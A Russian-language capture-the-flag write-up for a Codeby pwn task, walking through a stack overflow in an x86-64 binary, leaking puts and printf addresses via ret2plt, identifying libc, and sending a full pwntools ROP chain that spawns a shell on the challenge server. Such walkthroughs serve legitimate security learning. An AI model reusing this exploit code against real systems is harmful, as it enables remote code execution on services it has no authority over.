Автор: Delinester

Источник: Name PWN Writeup

Ссылка на таск Codeby

https://codeby.games/categories/pwn/d452cdbb-c9cb-4aa1-9d25-3be6bf171223

Описание задания

Профи, назови своё имя 😎

IP: 62.173.140.174:27750

Решение

1. Обнаружение уязвимостей

Поскольку программа принимает пользовательский ввод, целесообразно проверить ее на переполнение буфера.

2. Расчет смещения

IDA Pro показывает, что существует функция enter_name, которая создает локальную переменную *buf *****, расположенную по смещению rbp-16. Следовательно, чтобы переопределить RSP, мы добавляем 8 байт (так как программа была скомпилирована под арку x86-64).

Чтобы убедиться в этом, запустим сессию gdb, которая вводит 24 байта мусора и 8 символов ‘z’.

run < <(python -c "print('A'*24+'zzzzzzzz')")

Как мы видим, RSP был успешно переопределен с нашей полезной нагрузкой из 8 символов ’z’. Программа завершается, потому что RSP содержит недопустимое значение. Команда ret извлекает первое значение из стека и помещает его в RIP.

3. Утечка адресов

Поскольку мы знаем, что можем легко контролировать RIP, пришло время подумать, как использовать эту силу с пользой.

Сначала мы проверим защиту файла

$ checksec ./task
[*] '/home/delinester/Desktop/task'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

В исполняемом файле включен бит NX, что означает, что мы не можем переполнить буфер шеллкодом и запустить его.

ROP и техника ret2plt

Следующий шаг - проверить, есть ли у нас все необходимые «гаджеты» для взлома машины. Наблюдая за файлом с помощью IDA, мы можем сделать вывод, что одним из возможных вариантов является вызов команды system(/bin/sh), которая находится в динамической библиотеке libc.

Но для этого нам нужен LEAK.

Как можно заметить, файл компонуется динамически. Таким образом, ELF-файл должен содержать Global Offset Table(GOT) и Procedure Linkage Table(PLT).

Короче говоря, GOT содержит адреса функций в памяти. PLT содержит процедуры с инструкциями перехода к GOT. Чтобы прояснить ситуацию, мы можем вызвать любую функцию из PLT так же, как и обычный вызов функции, и мы можем использовать секцию GOT для поиска и утечки адресов libc функций!

Я собираюсь использовать библиотеку pwntools python для эксплуатации нашего исполняемого файла

from pwn import *
 
elf = ELF('./task')
 
rop = ROP(elf)
# Gadgets that we will user further
pop_rdi = rop.find_gadget(['pop rdi'])[0]
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
main_sym = elf.symbols['main']
ret = (rop.find_gadget(['ret'])[0])

Для утечки адреса мы можем использовать гаджет pop_rdi, чтобы загрузить адрес функции puts в регистр (первый аргумент функции) и перейти к puts, используя ее PLT-запись.

Наша платная нагрузка будет выглядеть следующим образом

payload = b'A'*24 + p64(pop_rdi) + p64(got_puts) + p64(plt_puts)+ p64(main_sym)

Далее мы должны каким-то образом прочитать утечку адреса и использовать его в нашей эксплуатации.

# Let's check the payload
p = process("./task")
p.sendline(payload)
print(p.recv())

Чтобы разобрать адрес, мы должны освободить буфер stdout, пока он не достигнет строки с надписью «Спасибо!». Затем мы читаем следующую строку и удаляем символ перевода строки

out = p.recvline_contains("Thank you!")
out = p.recvline().strip(b'\n')

Затем я написал простую функцию для преобразования вывода в адрес

def getHex(out, func):
    hex_addr = b''
    for char in out:
        hex_addr += (p8(char))
    hex_addr += p16(0)  # This is to make the address 8 bytes
    hex_addr = p64(u64(hex_addr))
    print("LEAKED ADDR  " + func + ' ' + hex(u64(hex_addr)))    
    return hex_addr

И сохраните результаты

addr_puts = getHex(out, 'puts')

Чтобы заставить ROP работать, мы должны определить версию libc на удаленной машине!

Для этого нам нужно слить адрес любой другой функции, определенной в GOT. Выберем printf.

got_printf = elf.got['printf']
 
payload2 = b'A'*24+p64(pop_rdi)+p64(got_printf)+p64(plt_puts)+ p64(main_sym)
 
p.sendline(payload2)
out = p.recvline_contains("Thank you!")
out = p.recvline().strip(b'\n')
 
printf_addr = getHex(out, 'printf')

Запустим исполняемый файл на удаленной машине:

p = remote(host = '62.173.140.174', port = '27750')
 
# The rest of code here

4. Определение версии libc на целевой машине

Для этого мы будем использовать сайт https://libc.blukat.me/.

Вставляем функции и соответствующие им адреса в поля

Ага! Версия libc целевой системы - musl-1.2.4-r2.

Щелкнув на ней, мы узнаем смещения для puts, system и /bin/sh.

5. Финальная полезная нагрузка и флаг

Теперь мы можем вычислить базовый адрес библиотеки libc и адреса system и /bin/sh и собрать нашу финальную полезную нагрузку!

from pwn import *
 
def getHex(out, func):
    hex_addr = b''
    for char in out:
        hex_addr += (p8(char))
    hex_addr += p16(0)
    hex_addr = p64(u64(hex_addr))
    print("LEAKED ADDR " + func + ' ' + hex(u64(hex_addr)))    
    return hex_addr
 
elf = ELF('./task')
rop = ROP(elf)
 
pop_rdi = rop.find_gadget(['pop rdi'])[0]
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
got_printf = elf.got['printf']
main_sym = elf.symbols['main']
ret = (rop.find_gadget(['ret'])[0])
 
p = remote(host = '62.173.140.174', port = '27750')
 
payload = b'A'*24+p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+ p64(main_sym)
p.sendline(payload)
 
out = p.recvline_contains("Thank you!")
out = p.recvline().strip(b'\n')
 
addr_puts = getHex(out, 'puts')
 
payload2 = b'A'*24+p64(pop_rdi)+p64(got_printf)+p64(plt_puts)+ p64(main_sym)
p.sendline(payload2)
out = p.recvline_contains("Thank you!")
out = p.recvline().strip(b'\n')
 
printf_addr = getHex(out, 'printf')
 
libc_base = u64(addr_puts) - 0x4d20f
bin_sh = (libc_base) + 0x919a0
system = (libc_base) + 0x41d6f
 
payloadFinal = b'A'*24 + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system) + p64(ret) + p64(main_sym)
p.sendline(payloadFinal)
 
p.interactive()

Он успешно открывает оболочку, и мы можем открыть в ней файл flag.txt!

Tags:

#codeby#writeup#pwn#medium